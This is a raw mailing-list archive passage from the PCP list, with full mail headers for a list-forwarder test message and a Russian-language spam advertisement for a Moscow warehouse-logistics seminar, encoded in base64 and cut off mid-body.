cheers. -- Nathan _______________________________________________ pcp-announce mailing list pcp-announce@oss.sgi.com http://oss.sgi.com/mailman/listinfo/pcp-announce From kenj@internode.on.net Tue Oct 11 17:33:40 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6B0887CBC for ; Tue, 11 Oct 2016 17:33:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1FEC98F8037 for ; Tue, 11 Oct 2016 15:33:36 -0700 (PDT) X-ASG-Debug-ID: 1476225207-0bf8156710460530001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-67.servers.netregistry.net [202.124.241.67]) by cuda.sgi.com with ESMTP id HBNFgYw1p99TPKtu (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 11 Oct 2016 15:33:28 -0700 (PDT) X-Barracuda-Envelope-From: kenj@internode.on.net X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.67 Received: from ipmail05.adl6.internode.on.net ([150.101.137.143]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtp (Exim 4.84_2 #1 (Debian)) id 1bu5bw-0008Tb-EX for ; Wed, 12 Oct 2016 09:33:26 +1100 X-IronPort-Anti-Spam-Filtered: true X-Barracuda-Effective-Source-IP: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-Barracuda-RBL-IP: 150.101.137.143 X-Barracuda-BBL-IP: 150.101.137.143 X-IronPort-Anti-Spam-Result: A2B5SwBIZ/1XEB0wmAFcHQEFAQsBgzwBAQEBAR2ETIN5rQ6GdYUgegSCDjsRAQIBAQEBAQEBBgEBAQEBAQEBN0BBAQEBAQEBAQEBBQSEFQgCDyFMBQYQUioOBAMBBB4FiD+mWZ0gjzwBAWeFEwWaAgGBZ49tARWEZ4MrA4VyH4M3jSI0bYIfAQEBAQYBAQEBAQEBgkQqgUCBOxQ+gRGBXT2CIAEBAQ Received: from unknown (HELO bozohorize) ([1.152.48.29]) by ipmail05.adl6.internode.on.net with ESMTP; 12 Oct 2016 09:03:16 +1030 From: "Ken McDonell" To: Subject: ping Date: Wed, 12 Oct 2016 09:33:07 +1100 X-ASG-Orig-Subj: ping Message-ID: <021901d2240f$7691c620$63b55260$@internode.on.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 15.0 Thread-Index: AdIkD1smycsn4Q3gSEuM7IwNTBGXIA== Content-Language: en-us X-Barracuda-Connect: smtp-outgoing-67.servers.netregistry.net[202.124.241.67] X-Barracuda-Start-Time: 1476225208 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 70 X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33628 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Just testing a mail forwarder after list reconfig. Please ignore. From cotrorari@aeterna.ru Tue Oct 11 18:45:02 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8D1E47CBC for ; Tue, 11 Oct 2016 18:45:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4EB9730404E for ; Tue, 11 Oct 2016 16:45:01 -0700 (PDT) X-ASG-Debug-ID: 1476229486-0bf57b1e93485440001-S8gJnT Received: from mx.qip.ru (ip-89-174-11-44.ibd.gtsenergis.pl [89.174.11.44]) by cuda.sgi.com with ESMTP id uShPqchYbPmQoNAr for ; Tue, 11 Oct 2016 16:44:47 -0700 (PDT) X-Barracuda-Envelope-From: cotrorari@aeterna.ru X-Barracuda-Effective-Source-IP: ip-89-174-11-44.ibd.gtsenergis.pl[89.174.11.44] X-Barracuda-Apparent-Source-IP: 89.174.11.44 MIME-Version: 1.0 Date: Wed, 12 Oct 2016 02:44:49 +0300 Message-ID: <796168075.20161012024449@FYUOTVZHRHPA> Subject: =?utf-8?B?0J/RgNCw0LrRgtC40LrRg9C8INC00LvRjyDQtNC40YDQtdC60YLQvtGA0LAg0L/QviDQu9C+0LPQuNGB0YLQuNC60LU=?= From: "=?utf-8?B?V2FyZWhvdXNlIE1hbmFnZW1lbnQ=?=" X-ASG-Orig-Subj: =?utf-8?B?0J/RgNCw0LrRgtC40LrRg9C8INC00LvRjyDQtNC40YDQtdC60YLQvtGA0LAg0L/QviDQu9C+0LPQuNGB0YLQuNC60LU=?= To: pcp@oss.sgi.com Content-Type: multipart/alternative; boundary=----------6453E0379C14EDF6C X-Barracuda-Connect: ip-89-174-11-44.ibd.gtsenergis.pl[89.174.11.44] X-Barracuda-Start-Time: 1476229486 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 24587 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.66 X-Barracuda-Spam-Status: No, SCORE=1.66 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, HTML_MESSAGE, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33630 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ------------6453E0379C14EDF6C Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 MTkgLSAyMCDQvtC60YLRj9Cx0YDRjyAoYyAxMDowMCDQtNC+IDE3OjMwKSB8ICDQsy4g0JzQvtGB 0LrQstCwICB8ICDQn9GA0L7QvNC+0LrQvtC0OiAqNTU4Kg0KDQoq0JDQutC60YDQtdC00LjRgtC+ 0LLQsNC90L3Ri9C5INCj0YfQtdCx0L3Ri9C5INGG0LXQvdGC0YAg0L/RgNC40LPQu9Cw0YjQsNC1 0YIg0L3QsCDQvtCx0YPRh9C10L3QuNC1INC/0L4g0YLQtdC80LU6Kg0KDQoNCg0KKtCj0L/RgNCw 0LLQu9C10L3QuNC1INGB0LrQu9Cw0LTQvtC8OiDQu9C+0LPQuNGB0YLQuNC60LAg0Lgg0L7Qv9GC 0LjQvNC40LfQsNGG0LjRjyDRgdC60LvQsNC00YHQutC40YUg0L/RgNC+0YbQtdGB0YHQvtCyLiog KiAqKg0KDQoq0JDQtNGA0LXRgSDQvNC10YDQvtC/0YDQuNGP0YLQuNGPOiog0LwuINCR0LDRg9C8 0LDQvdGB0LrQsNGPLCDRg9C7LiDQkdCw0YPQvNCw0L3RgdC60LDRjywg0LQuNiwg0JEu0KYuICLQ ktC40LrRgtC+0YDQuNGPDQrQn9C70LDQt9CwIi4NCg0KKtCS0YHRjyDQv9C+0LTRgNC+0LHQvdCw 0Y8g0LjQvdGE0L7RgNC80LDRhtC40Y8g0Lgg0YDQtdCz0LjRgdGC0YDQsNGG0LjRjyDQv9C+INGC 0LXQuy46Kg0KOCAg0LrQvtC0INCz0L7RgNC+0LTQsCDQnNC+0YHQutCy0YsgICg0IDkgNSkgINGC 0LXQuzogIDk2MS0wMC0zOCAgKNC80L3QvtCz0L7QutCw0L3QsNC70YzQvdGL0LkpDQoNCtCS0Ysg 0LzQvtC20LXRgtC1INGD0YfQsNGB0YLQstC+0LLQsNGC0Ywg0LIg0L7QsdGD0YfQtdC90LjQuCDQ utCw0Log0L7RgiDQutC+0LzQv9Cw0L3QuNC4LCDRgtCw0Log0Lgg0LrQsNC6INGH0LDRgdGC0L3Q vtC1INC70LjRhtC+Lg0KKNC/0L7QttCw0LvRg9C50YHRgtCwINC90LUg0L7RgtCy0LXRh9Cw0LnR gtC1INC90LAg0L7QsdGA0LDRgtC90YvQuSDQsNC00YDQtdGBINGN0Lsu0L/QvtGH0YLRiykNCg0K DQoNCg0KKtCU0LvRjyDQutC+0LPQviDQv9GA0LXQtNC90LDQt9C90LDRh9C10L06ICrQt9Cw0LLQ tdC00YPRjtGJ0LjRhSDRgdC60LvQsNC00L7QvCwg0LLQtdC00YPRidC40YUg0YHQv9C10YbQuNCw 0LvQuNGB0YLQvtCyINC4DQrQvNC10L3QtdC00LbQtdGA0L7QsiDRgdC60LvQsNC00L7QsiwNCtGA 0YPQutC+0LLQvtC00LjRgtC10LvQtdC5INC4INC80LXQvdC10LTQttC10YDQvtCyINC+0YLQtNC1 0LvQsCDQv9C+0LTQs9C+0YLQvtCy0LrQuCDQuCDRhdGA0LDQvdC10L3QuNGPINC/0YDQvtC00YPQ utGG0LjQuCwNCtGA0YPQutC+0LLQvtC00LjRgtC10LvQtdC5INC4DQrRgdC/0LXRhtC40LDQu9C4 0YHRgtC+0LIg0L7RgtC00LXQu9C+0LIg0LvQvtCz0LjRgdGC0LjQutC4LCDRgNGD0LrQvtCy0L7Q tNC40YLQtdC70LXQuSDQutC+0LzQv9Cw0L3QuNC5Lg0KDQoNCg0KDQogKtCh0L7QtNC10YDQttCw 0L3QuNC1OioNCg0KKjEuINCh0LrQu9Cw0LQg0LrQsNC6INC30LLQtdC90L4g0LvQvtCz0LjRgdGC 0LjRh9C10YHQutC+0Lkg0YbQtdC/0LguKg0KICAgICAgLSDQnNC10YHRgtC+INGB0L7QstGA0LXQ vNC10L3QvdC+0LPQviDRgdC60LvQsNC00LAg0LIgItGG0LXQv9C+0YfQutC1INC/0L7RgdGC0LDQ stC+0LoiLg0KICAgICAgLSDQmtC70LDRgdGB0LjRhNC40LrQsNGG0LjRjyDQuCDRgtC40L/RiyDR gdC+0LLRgNC10LzQtdC90L3Ri9GFINGB0LrQu9Cw0LTQvtCyLg0KICAgICAgLSDQodGD0YnQvdC+ 0YHRgtGMINGB0LrQu9Cw0LTRgdC60L7QuSDQu9C+0LPQuNGB0YLQuNC60LguDQogICAgICAtINCa 0YDQuNGC0LXRgNC40Lgg0L7RhtC10L3QutC4INGN0YTRhNC10LrRgtC40LLQvdC+0YHRgtC4INGB 0LrQu9Cw0LTQsC4g0JrQn9CtIChLUEkpIC0g0LrQu9GO0YfQtdCy0YvQtQ0K0L/QvtC60LDQt9Cw 0YLQtdC70Lgg0Y3RhNGE0LXQutGC0LjQstC90L7RgdGC0LgNCiAgICAgICAgINGA0LDQsdC+0YLR iyDRgdC60LvQsNC00LAuDQogICAgICAtINCa0LDQutCw0Y8g0L3QsCDQstCw0YjQtdC8INGB0LrQ u9Cw0LTQtSDQu9C+0LPQuNGB0YLQuNC60LAgLSDRhdC+0YDQvtGI0LDRjyDQuNC70Lgg0L/Qu9C+ 0YXQsNGPIT8NCiAgICAgIC0g0J7Qv9GC0LjQvNC40LfQsNGG0LjRjyDRgdC60LvQsNC00YHQutC4 0YUg0LjQt9C00LXRgNC20LXQuiAtINC/0YDQsNC60YLQuNGH0LXRgdC60LjQuSDQvtC/0YvRgi4N CiAgICAgIC0g0JrQsNC6INC/0YDQvtCy0LXRgdGC0LggItCy0L3Rg9GC0YDQtdC90L3QuNC5IiDQ u9C+0LPQuNGB0YLQuNGH0LXRgdC60LjQuSDQsNGD0LTQuNGCINGB0LrQu9Cw0LTQsC4g0JzQtdGC 0L7QtNC+0LvQvtCz0LjRjw0KItGD0LfQutC40YUg0LzQtdGB0YIiINGC0LXQvtGA0LjQuA0KICAg ICAgICAg0JPQvtC70LTRgNCw0YLRgtCwICjQotCe0KEpINCyINC/0YDQsNC60YLQuNGH0LXRgdC6 0L7QvCDQv9GA0LjQvNC10L3QtdC90LjQuC4NCiAgICAgIC0g0JfQsNGH0LXQvCDQvdGD0LbQtdC9 INCy0L3QtdGI0L3QuNC5INCw0YPQtNC40YIg0LLQsNGI0LXQs9C+INGB0LrQu9Cw0LTQsD8NCirQ n9GA0LDQutGC0LjQutGD0LwuINCk0LjQu9GM0Lwg0L4g0KHQuNCx0LjRgNGB0LrQvtC8INCz0YDR g9C30L7QstC+0Lwg0YLQtdGA0LzQuNC90LDQu9C1LioNCg0KKjIuINCg0LDQt9C70L7QttC40Lwg 0LLQsNGIINGB0LrQu9Cw0LQgItC/0L4g0L/QvtC70L7Rh9C60LDQvCIuINCS0L3QtdGI0L3Rj9GP INC4INCy0L3Rg9GC0YDQtdC90L3Rj9GPINC/0LvQsNC90LjRgNC+0LLQutCwDQrRgdC60LvQsNC0 0LAuKg0KICAgICAgLSDQoNC+0LvRjCDQv9C70LDQvdC40YDQvtCy0LrQuCDQsiDRjdGE0YTQtdC6 0YLQuNCy0L3QvtGB0YLQuCDRgdC60LvQsNC00YHQutC+0Lkg0LPRgNGD0LfQvtC/0LXRgNC10YDQ sNCx0L7RgtC60LguDQogICAgICAtINCQ0LTRgNC10YHQvdCw0Y8g0YHQuNGB0YLQtdC80LAg0YXR gNCw0L3QtdC90LjRjy4NCiAgICAgIC0g0J/RgNCw0LrRgtC40YfQtdGB0LrQuNC1INC/0YDQuNC8 0LXRgNGLINCy0LDRgNC40LDQvdGC0L7QsiDRgNCw0YHRh9GR0YLQsCDQv9C70LDQvdC40YDQvtCy 0LrQuCDRgdC60LvQsNC00LAuDQoq0J7QsdC+0YDRg9C00L7QstCw0L3QuNC1INGB0LrQu9Cw0LTQ sC4qDQogICAgICAtINCa0LDQutCw0Y8g0YLQtdGF0L3QuNC60LAg0Lgg0YHRgtC10LvQu9Cw0LbQ uCDQstCw0Lwg0L3Rg9C20L3Riy4NCiAgICAgIC0g0JrQsNC6INGB0LTQtdC70LDRgtGMINGA0LDR gdGH0ZHRgiDQvtCx0L7RgNGD0LTQvtCy0LDQvdC40Y8sINC90LXQvtCx0YXQvtC00LjQvNC+0LPQ viDRgdC60LvQsNC00YMuDQoq0KHQutC70LDQtNGB0LrQuNC1INCx0LjQt9C90LXRgS3Qv9GA0L7R htC10YHRgdGLLioNCiAgICAgIC0g0KDQvtC70Ywg0L/Qu9Cw0L3QuNGA0L7QstCw0L3QuNGPINGA 0LDQsdC+0YLRiyDRgdC60LvQsNC00LAuINCf0YDQsNC60YLQuNGH0LXRgdC60LjQtSDRgNC10LrQ vtC80LXQvdC00LDRhtC40LguDQogICAgICAtINCS0LfQsNC40LzQvtC00LXQudGB0YLQstC40LUg 0YHQutC70LDQtNCwINGB0L4g0YHQvNC10LbQvdGL0LzQuCDQv9C+0LTRgNCw0LfQtNC10LvQtdC9 0LjRj9C80Lgg0LrQvtC80L/QsNC90LjQuCAtDQrRgdC70L7QttC90L7RgdGC0LgNCiAgICAgICAg INCy0LfQsNC40LzQvtC/0L7QvdC40LzQsNC90LjRjywg0LrQvtC90YTQu9C40LrRgiDQuNC90YLQ tdGA0LXRgdC+0LIuDQogICAgICAtINCa0LDQuiDRgNCw0LfRgNGD0LHQuNGC0YwgItCz0L7RgNC0 0LjQtdCyINGD0LfQtdC7IiDQvNC10LbRhNGD0L3QutGG0LjQvtC90LDQu9GM0L3QvtCz0L4g0LLQ t9Cw0LjQvNC+0LTQtdC50YHRgtCy0LjRjy4NCirQntGA0LPQsNC90LjQt9Cw0YbQuNGPINGB0LrQ u9Cw0LTRgdC60L7Qs9C+INGD0YfRkdGC0LAuKg0KICAgICAgLSDQnNC10YLQvtC00Ysg0LjQtNC1 0L3RgtC40YTQuNC60LDRhtC40Lgg0YLQvtCy0LDRgNCwLg0KICAgICAgLSDQn9GA0LjQvNC10L3Q tdC90LjQtSDRiNGC0YDQuNGF0LrQvtC00LjRgNC+0LLQsNC90LjRjy4NCiAgICAgIC0g0KHRgtCw 0YLRg9GB0Ysg0YLQvtCy0LDRgNCwINC90LAg0YHQutC70LDQtNC1Lg0KICAgICAgLSDQn9GA0LDQ stC40LvRjNC90YvQtSDRgtC+0LLQsNGA0L3Ri9C1INC+0YHRgtCw0L3QutC4INC60LDQuiDQvtGB 0L3QvtCy0L3QvtC5INC60YDQuNGC0LXRgNC40Lkg0LrQsNGH0LXRgdGC0LLQtdC90L3QvtC5DQrR gNCw0LHQvtGC0Ysg0LvRjtCx0L7Qs9C+INGB0LrQu9Cw0LTQsC4NCiAgICAgIC0g0KLQuNC/0Ysg 0LjQvdCy0LXQvdGC0LDRgNC40LfQsNGG0LjQuSDQuCDQvNC10YLQvtC00LjQutC4INC40YUg0L/R gNC+0LLQtdC00LXQvdC40Y8uDQogICAgICAtINCe0YDQs9Cw0L3QuNC30LDRhtC40Y8g0YHQutC7 0LDQtNGB0LrQvtCz0L4g0LTQvtC60YPQvNC10L3RgtC+0L7QsdC+0YDQvtGC0LAuDQoq0JLRi9Cz 0YDRg9C30LrQsCDQuCDQv9GA0LjRkdC80LrQsCDRgtC+0LLQsNGA0LAgLSDQvdC1INCy0YHRkSDR gtCw0Log0L/RgNC+0YHRgtC+LCDQutCw0Log0LzQvtC20LXRgiDQv9C+0LrQsNC30LDRgtGM0YHR jy4qDQogICAgICAtINCh0YLRgNCw0YLQtdCz0LjRjyAo0L/RgNCw0LLQuNC70LApINGA0LDQt9C8 0LXRidC10L3QuNGPINGC0L7QstCw0YDQsCDQvdCwINGB0LrQu9Cw0LTQtS4NCiAgICAgIC0g0J/R gNC40LzQtdC90LXQvdC40LUg0JDQktChLVhZWiDQsNC90LDQu9C40LfQsC4NCirQpdGA0LDQvdC1 0L3QuNC1INGC0L7QstCw0YDQsC4qDQogICAgICAtINCh0YLQsNGC0LjRh9C10YHQutCw0Y8g0Lgg 0LTQuNC90LDQvNC40YfQtdGB0LrQsNGPINGB0LjRgdGC0LXQvNGLINGF0YDQsNC90LXQvdC40Y8g LSDQv9GA0LDQutGC0LjQutCwINC/0YDQuNC80LXQvdC10L3QuNGPLg0KICAgICAgLSDQntC/0YLQ uNC80LjQt9Cw0YbQuNGPINGB0LrQu9Cw0LTRgdC60L7Qs9C+INGF0YDQsNC90LXQvdC40Y8gLSDQ tNC10YTRgNCw0LPQvNC10L3RgtCw0YbQuNGPLCDRg9C/0LvQvtGC0L3QtdC90LjQtQ0K0YHQutC7 0LDQtNGB0LrQuNGFINC+0YHRgtCw0YLQutC+0LIuDQogICAgICAtINCj0JcgLSDRg9C/0YDQsNCy 0LvQtdC90LjQtSDRgdC60LvQsNC00YHQutC40LzQuCDQt9Cw0L/QsNGB0LDQvNC4LCDQuNGFINGB 0YLQvtC40LzQvtGB0YLRjCwg0LHQvtGA0YzQsdCwINGBDQrQvdC10LvQuNC60LLQuNC00LDQvNC4 Lg0KKtCa0L7QvNC/0LvQtdC60YLQsNGG0LjRjyDRgdC60LvQsNC00YHQutC40YUg0LfQsNC60LDQ t9C+0LIuKg0KICAgICAgLSDQn9GA0LDQutGC0LjRh9C10YHQutC40Lkg0L7Qv9GL0YIg0L7Qv9GC 0LjQvNC40LfQsNGG0LjQuCDRgdCw0LzQvtCz0L4g0YLRgNGD0LTQvtGR0LzQutC+0LPQviDRgdC6 0LvQsNC00YHQutC+0LPQvg0K0L/RgNC+0YbQtdGB0YHQsC4NCiAgICAgIC0g0KHRgtGA0LDRgtC1 0LPQuNC4INC+0YLQsdC+0YDQsCDQuCDQv9C+0L/QvtC70L3QtdC90LjRjyDRgtC+0LLQsNGA0L3R i9GFINGP0YfQtdC10Log0L7RgtCx0L7RgNCwLg0KKtCa0L7QvdGC0YDQvtC70Ywg0LrQsNGH0LXR gdGC0LLQsCDRgdCx0L7RgNC60Lgg0LfQsNC60LDQt9C+0LIgLSDQutCw0Log0Lgg0LrQvtCz0LTQ sCDQv9GA0L7QstC+0LTQuNGC0YwuKg0KKtCf0YDQtdC00L/RgNC+0LTQsNC20L3QsNGPINC/0L7Q tNCz0L7RgtC+0LLQutCwINGC0L7QstCw0YDQsC4qDQogICAgICAtINCe0YHQvtCx0LXQvdC90L7R gdGC0Lgg0YHQutC70LDQtNGB0LrQvtCz0L4g0L7QsdGB0LvRg9C20LjQstCw0L3QuNGPICLRgdC1 0YLQtdCy0YvRhSIg0LrQu9C40LXQvdGC0L7Qsi4NCirQpdGA0LDQvdC10L3QuNC1INC4INC+0YLQ s9GA0YPQt9C60LAg0YHQvtCx0YDQsNC90L3Ri9GFINC30LDQutCw0LfQvtCyLioNCirQo9GA0L7Q stC10L3RjCDRgdC10YDQstC40YHQsCDQutC70LjQtdC90YLQsC4qDQogICAgICAtINCg0L7Qu9GM INGB0LrQu9Cw0LTQsC4NCiAgICAgIC0g0KDQsNCx0L7RgtCwINGB0LrQu9Cw0LTQsCDRgSDQv9GA 0LXRgtC10L3Qt9C40Y/QvNC4INC60LvQuNC10L3RgtC+0LIuDQoq0JLQvtC30LLRgNCw0YLQvdCw 0Y8g0LvQvtCz0LjRgdGC0LjQutCwLioNCiAgICAgIC0g0KHQu9C+0LbQvdC+0YHRgtC4INC4INC8 0LXRgtC+0LTRiyDRgNCw0LHQvtGC0Ysg0YEg0LLQvtC30LLRgNCw0YLQsNC80LguDQoq0JHRgNCw 0Log0L3QsCDRgdC60LvQsNC00LUuKg0KICAgICAgLSDQn9GD0YLQuCDRgdC90LjQttC10L3QuNGP INGA0LjRgdC60L7Qsi4NCiAgICAgIC0g0KTQsNC60YLQvtGA0YssINCy0LvQuNGP0Y7RidC40LUg 0L3QsCDQv9C+0Y/QstC70LXQvdC40LUg0LHRgNCw0LrQsCDQvdCwINGB0LrQu9Cw0LTQtS4NCg0K KjMuINCb0L7Qs9C40YHRgtC40YfQtdGB0LrQsNGPINGC0LXRhdC90L7Qu9C+0LPQuNGPINGA0LDQ sdC+0YLRiyDRgdC60LvQsNC00LAuKg0KICAgICAgLSDQn9C+0L3Rj9GC0LjRjyDQsdC40LfQvdC1 0YEt0L/RgNC+0YbQtdGB0YHQvtCyICjQkdCfKSwg0L7Qv9C10YDQsNGG0LjQuSwg0Y3Qu9C10LzQ tdC90YLQsNGA0L3Ri9GFINC00LXQudGB0YLQstC40Lkg0LINCtGE0L7RgNC80LDQu9C40LfQvtCy 0LDQvdC90L7QuQ0KICAgICAgICAg0YHQuNGB0YLQtdC80LUg0YHQutC70LDQtNGB0LrQvtC5INC7 0L7Qs9C40YHRgtC40LrQuC4NCiAgICAgIC0g0KTQvtGA0LzQsNC70LjQt9Cw0YbQuNGPINC4INC+ 0L/QuNGB0LDQvdC40LUg0YHQutC70LDQtNGB0LrQuNGFINCx0LjQt9C90LXRgS3Qv9GA0L7RhtC1 0YHRgdC+0LIuINCf0YDQsNC60YLQuNGH0LXRgdC60LDRjw0K0LzQtdGC0L7QtNC40LrQsC4NCiAg ICAgIC0g0JjQtNC10L7Qu9C+0LPQuNGPINGB0YLQsNC90LTQsNGA0YLQsCDQvtC/0LjRgdCw0L3Q uNGPINCx0LjQt9C90LXRgS3Qv9GA0L7RhtC10YHRgdC+0LIgSURFRjAg0LIg0L/RgNCw0LrRgtC4 0YfQtdGB0LrQuNGFDQrQv9GA0LjQvNC10YDQsNGFLg0KICAgICAgLSDQmtCw0Log0YHQvtGB0YLQ sNCy0LjRgtGMINGC0LXRhdC90L7Qu9C+0LPQuNGH0LXRgdC60YPRjiDQutCw0YDRgtGDICjQotCa KS4NCiAgICAgIC0g0J/RgNCw0LrRgtC40LrQsCDRgNCw0LfRgNCw0LHQvtGC0LrQuCDRgdC60LvQ sNC00YHQutC40YUg0YDQtdCz0LvQsNC80LXQvdGC0L7Qsiwg0YTRg9C90LrRhtC40L7QvdCw0LvR jNC90YvRhQ0K0LjQvdGB0YLRgNGD0LrRhtC40LkuDQogICAgICAtINCf0YDQsNC60YLQuNGH0LXR gdC60LjQtSDQvNC10YLQvtC00LjQutC4INC/0L4g0L3QvtGA0LzQuNGA0L7QstCw0L3QuNGOINGB 0LrQu9Cw0LTRgdC60LjRhSDQvtC/0LXRgNCw0YbQuNC5Lg0KICAgICAgLSDQnNC10YLQvtC00LjQ utCwINGA0LDRgdGH0ZHRgtCwINGC0YDRg9C00L7RkdC80LrQvtGB0YLQuCDRgdC60LvQsNC00YHQ utC40YUg0L7Qv9C10YDQsNGG0LjQuS4NCiAgICAgIC0g0KDQsNC30YDQsNCx0L7RgtC60LAg0YjR gtCw0YLQvdC+0LPQviDRgNCw0YHQv9C40YHQsNC90LjRjyDRgdC60LvQsNC00LAg0L3QsCDQvtGB 0L3QvtCy0LUg0L7QsdGK0LXQutGC0LjQstC90YvRhQ0K0YDQsNGB0YfRkdGC0L3Ri9GFINC00LDQ vdC90YvRhS4NCiAgICAgIC0g0JrQsNC00YDRiyDRgNC10YjQsNGO0YIg0LLRgdGRISDQn9C10YDR gdC+0L3QsNC7INGB0LrQu9Cw0LTQsCDQuCDQtdCz0L4g0LzQvtGC0LjQstCw0YbQuNC5LiDQntCx 0LfQvtGADQrQv9GA0LDQutGC0LjRh9C10YHQutC40YUg0LrRgNC40YLQtdGA0LjQtdCyDQogICAg ICAgICDQvNC+0YLQuNCy0LDRhtC40Lgg0LrQsNC20LTQvtCz0L4g0YHQvtGC0YDRg9C00L3QuNC6 0LAg0YHQutC70LDQtNCwLiDQn9GA0LDQutGC0LjRh9C10YHQutC40LUg0L/RgNC40LzQtdGA0YsN CtC/0YDQuNC80LXQvdC10L3QuNGPINGN0YTRhNC10LrRgtC40LLQvdC+0LkNCiAgICAgICAgINC8 0L7RgtC40LLQsNGG0LjQuC4NCg0KKjQuINCQ0LLRgtC+0LzQsNGC0LjQt9Cw0YbQuNGPINGB0LrQ u9Cw0LTRgdC60LjRhSDQsdC40LfQvdC10YEt0L/RgNC+0YbQtdGB0YHQvtCyLioNCiAgICAgIC0g 0J7RgNCz0LDQvdC40LfQsNGG0LjRjyDQtNC+0LrRg9C80LXQvdGC0L7QvtCx0L7RgNC+0YLQsCDQ vdCwINGB0LrQu9Cw0LTQtSAtINGN0LvQtdC60YLRgNC+0L3QvdGL0Lkg0LjQu9C4INCx0YPQvNCw 0LbQvdGL0LkuDQogICAgICAtINCX0LDRh9C10Lwg0Lgg0LrQvtC80YMg0L3Rg9C20L3QsCDRgdC4 0YHRgtC10LzQsCDRg9C/0YDQsNCy0LvQtdC90LjRjyDRgdC60LvQsNC00L7QvCDQutC70LDRgdGB 0LAgV01TLg0KICAgICAgLSDQn9GA0L7QsdC70LXQvNGLINCy0YvQsdC+0YDQsCDQuCDQstC90LXQ tNGA0LXQvdC40Y8gV01TLg0KICAgICAgLSBXTVMg0LrQsNC6ICLRh9GR0YDQvdGL0Lkg0Y/RidC4 0LoiINGB0LrQu9Cw0LTQsCDQuNC70Lgg0LjRgdGC0L7Rh9C90LjQuiDQtdCz0L4g0Y3RhNGE0LXQ utGC0LjQstC90L7RgdGC0LguDQogICAgICAtINCe0LHQt9C+0YAg0L/RgNCw0LrRgtC40YfQtdGB 0LrQvtCz0L4g0L7Qv9GL0YLQsCDQsNCy0YLQvtC80LDRgtC40LfQsNGG0LjQuCDRgdC60LvQsNC0 0YHQutC+0Lkg0LvQvtCz0LjRgdGC0LjQutC4Lg0KKtCf0YDQsNC60YLQuNC60YPQvC4g0KTQuNC7 0YzQvCDQviDQkdCj0KXRgtCwIFdNUy4qDQoNCg0KDQogICAgICAgICAgICAgICAgKiAg0KPRh9Cw 0YHRgtC40LU6KiAqMjIgONC+0L4g0YDRg9CxLioNCiAgICAgICAgICAgICAgKiAgICDQodC6ddC0 0LoqKnUqICgq0L7RgiAyINGH0LXQu9C+0LLQtdC6IC0gMTAlLCDQvtGCIDMt0YUg0Lgg0LHQvtC7 0LXQtSAtIDE1ICUqKQ0KICAgICAgICAgICAgICAgICAg0JIg0YHRgtC+0LjQvNC+0YHRgtGMINCy 0YXQvtC00LjRgiDQvNC10YLQvtC00LjRh9C10YHQutC40Lkg0LzQsNGC0LXRgNC40LDQuywg0L7Q sdC10LTRiywNCtC60L7RhNC1LdC/0LDRg9C30YsuDQogICAgICAgICAgICAgICAgICDQmNC90L7Q s9C+0YDQvtC00L3QuNC8INGD0YfQsNGB0YLQvdC40LrQsNC8INC/0L7QvNC+0LPQsNC10Lwg0LIg 0LHRgNC+0L3QuNGA0L7QstCw0L3QuNC4INCz0L7RgdGC0LjQvdC40YbRiy4NCiAgICAgICAgICAg ICAgICAqICDQn9C+INC+0LrQvtC90YfQsNC90LjRjiDQt9Cw0L3Rj9GC0LjRjyDQktCw0Lwg0L/R 